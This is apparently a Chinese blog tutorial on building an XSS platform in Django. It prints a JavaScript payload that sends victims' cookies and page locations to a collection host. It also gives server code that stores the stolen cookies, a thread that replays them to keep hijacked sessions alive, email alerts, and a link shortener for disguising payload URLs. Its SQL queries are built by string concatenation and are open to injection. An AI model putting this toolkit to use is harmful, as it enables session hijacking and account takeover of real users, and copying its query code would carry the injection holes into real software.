1) 简要描述
原理十分简单2333,代码呆萌,大牛勿喷 >_<
2) 基础知识
3) Let's start
0x01
工欲善其事必先利其器,首先我们需要准备编写代码的各种工具和环境,这里不细说。我这里的环境和工具如下:
- python 3.7.0
- pycharm
- windows 10
- mysql 8.0.15
- Django 2.1.3
需要用到的第三方库:
- django
- pymysql
- requests
0x02
我们先看一下XSS脚本是如何工作的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
var website = "http://127.0.0.1" ; ( function () { ( new Image()).src = website + '/?keepsession=1&location=' + escape(( function () {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape(( function () {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape(( function () {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape(( function () {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch (e) {
return ''
}
})());
})();
|
这段代码非常简单,就是通过javascript获取有用信息,然后通过访问xss平台将信息作为GET参数传给服务器。
注意:这里使用AJAX可能会出现CORS跨域问题。
0x03
先给出关键代码,其他都是Django相关的内容,这里不做相关讨论。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
"""
根据url值动态返回相应的javascript代码
"""
import pymysql,os
from user.safeio import re_check
def get_info(url):
if not re_check(url, 'num_letter' ):
return 'default'
db = pymysql.connect( 'localhost' , 'root' , 'root' , 'xss' )
cursor = db.cursor()
cursor.execute( "Select name From projects Where url='" + url + "'" )
js_name = cursor.fetchone()[ 0 ]
if js_name = = None :
return 'default'
else :
return (js_name)
def get_js_value(url):
js_name = get_info(url)
file = '\\script\\'+js_name + ' .js'
js_value = open (os.getcwd() + file ).read()
js_value = js_value.replace( '<-1234->' ,url)
return js_value
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
import pymysql,time
from .getscript import get_info
def connect():
try :
db = pymysql.connect( 'localhost' , 'root' , 'root' , 'xss' )
cursor = db.cursor()
return db,cursor
except :
print ( '连接数据库失败,正在尝试重新连接' )
connect()
def put_letter(requests,url):
now_time = time.strftime( '%Y-%m-%d %H:%M:%S' ,time.localtime(time.time()))[ 2 :]
if 'HTTP_X_FORWARDED_FOR' in requests.META:
ip = requests.META[ 'HTTP_X_FORWARDED_FOR' ]
else :
try :
ip = requests.META[ 'REMOTE_ADDR' ]
except :
ip = '0.0.0.0'
ip = ip.replace( "'","\'")
origin = requests.GET.get('location','Unknown').replace("'" , "\'" )
software = requests.META.get( 'HTTP_USER_AGENT' , 'Unknown' ).replace( "'","\'")
method = requests.method.replace("'" , "\'" )
data = requests.GET.get( 'cookie' , 'No data' ).replace( "'","\'")
keep_alive = requests.GET.get('keepsession','0').replace("'" , "\'" )
list = [now_time,ip,origin,software,method,data,keep_alive]
put_mysql( list ,url)
def put_mysql( list ,url):
db,cursor = connect()
name = get_info(url)
cursor.execute( "Select user From projects Where url='" + url + "'" )
user = cursor.fetchone()[ 0 ]
m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
m_query = m_query. format ( list [ 0 ],name, list [ 1 ], list [ 2 ], list [ 3 ], list [ 4 ], list [ 5 ],user, list [ 6 ])
cursor.execute(m_query)
db.commit()
db.close()
def get_letters(username):
db, cursor = connect()
m_query = "SELECT * FROM letters WHERE user = '{}'"
m_query = m_query. format (username)
cursor.execute(m_query)
result_list = cursor.fetchall()
return result_list
|
既然我们知道了xss脚本会将信息构造通过GET的参数形式传给XSS平台,我们只需在服务器接受数据并保存即可。
0x04
我们可以为我们的平台编写新的功能以完善我们的平台,如邮件提醒,cookie活性保持等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#coding=utf-8
'''
邮件发送
'''
import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr
my_sender = 'xxxx'
my_pass = 'xxxx'
def send_mail(user_mail):
try :
print (user_mail)
msg = MIMEText( '您点的外卖已送达,请登录平台查询' , 'plain' , 'utf-8' )
msg[ 'From' ] = formataddr([ "XSS平台" ,my_sender])
msg[ 'To' ] = formataddr([ "顾客" ,user_mail])
msg[ 'Subject' ] = "您点的外卖已送达,请登录平台查询"
server = smtplib.SMTP_SSL( "smtp.qq.com" , 465 )
server.login(my_sender, my_pass)
server.sendmail(my_sender,[user_mail,],msg.as_string())
server.quit()
except Exception:
pass
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
'''
使用独立于主线程的其他线程
来保持通用项目的cookie信息'活性'
默认保持一个小时的活性
'''
import requests,queue,time,pymysql
Cookie_Time = 1
def decrease(time,number):
if time < number:
time = '0' + str (time)
else :
time = str (time)
return time
def count_time(now_time):
global Cookie_Time
year = int (now_time[ 0 : 2 ])
month = int (now_time[ 3 : 5 ])
day = int (now_time[ 6 : 8 ])
hours = int (now_time[ 9 : 11 ])
if hours < Cookie_Time:
if day = = 1 :
if month = = 1 :
month = 12
year - = 1
else :
day = 30
month - = 1
else :
day - = 1
hours + = 19
else :
hours - = 5
hours = decrease(hours, 10 )
day = decrease(day, 10 )
month = decrease(month, 10 )
year = decrease(year, 10 )
dec_time = ( "{0}-{1}-{2} {3}" ). format (year,month,day,hours) + now_time[ 11 :]
return dec_time
def create_queue():
Cookie_queue = queue.Queue()
now_time = time.strftime( '%Y-%m-%d %H:%M:%S' , time.localtime(time.time()))[ 2 :]
dec_time = count_time(now_time)
m_query = ( "SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'" ). format (dec_time)
db = pymysql.connect( '127.0.0.1' , 'root' , 'root' , 'xss' )
cursor = db.cursor()
cursor.execute(m_query)
return_list = cursor.fetchall()
for x in return_list:
Cookie_queue.put(x)
return Cookie_queue
def action():
while True :
time.sleep( 60 )
task_queue = create_queue()
while not task_queue.empty():
tasks = task_queue.get()
url = tasks[ 1 ]
ua = tasks[ 0 ]
cookie = tasks[ 2 ]
headers = { 'User-Agent' : ua, 'Cookie' : cookie}
try :
requests.get(url, headers = headers)
except :
pass
|
注意这里需要使用独立于django主线程的子线程,比如我在manager.py里添加了这么一段代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
import threading
from xssplatform.keep_alive import action
class keep_Thread(threading.Thread):
def __init__( self ):
super (keep_Thread, self ).__init__()
def run( self ):
action()
if __name__ = = '__main__' :
th = keep_Thread()
th.start()
|
短链接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
'''
短链接生成
接口c7.gg
'''
import requests,json
Headers = {
"accept" : "application/json, text/javascript, */*; q=0.01" ,
"accept-encoding" : "gzip, deflate, br" ,
"accept-language" : "zh-CN,zh;q=0.9,en;q=0.8" ,
"content-length" : "53" ,
"content-type" : "application/x-www-form-urlencoded; charset=UTF-8" ,
"origin" : "https://www.985.so" ,
"referer" : "https://www.985.so/" ,
"user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" ,
}
def url_to_short(url):
global Headers
data = { 'type' : 'c7' , 'url' :url}
r = requests.post( 'https://create.ft12.com/done.php?m=index&a=urlCreate' ,data = data,headers = Headers)
list = json.loads(r.text)
return list [ 'list' ]
|
4) 最后
其实看起来高大上的XSS平台原理就那么简单,真正难的部分是关于XSS跨站脚本的编写。
此项目已开源于 Github ,有任何问题可以提交issue,我会在第一时间进行回复。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持服务器之家。
原文链接:http://www.cnblogs.com/yunen/p/10590157.html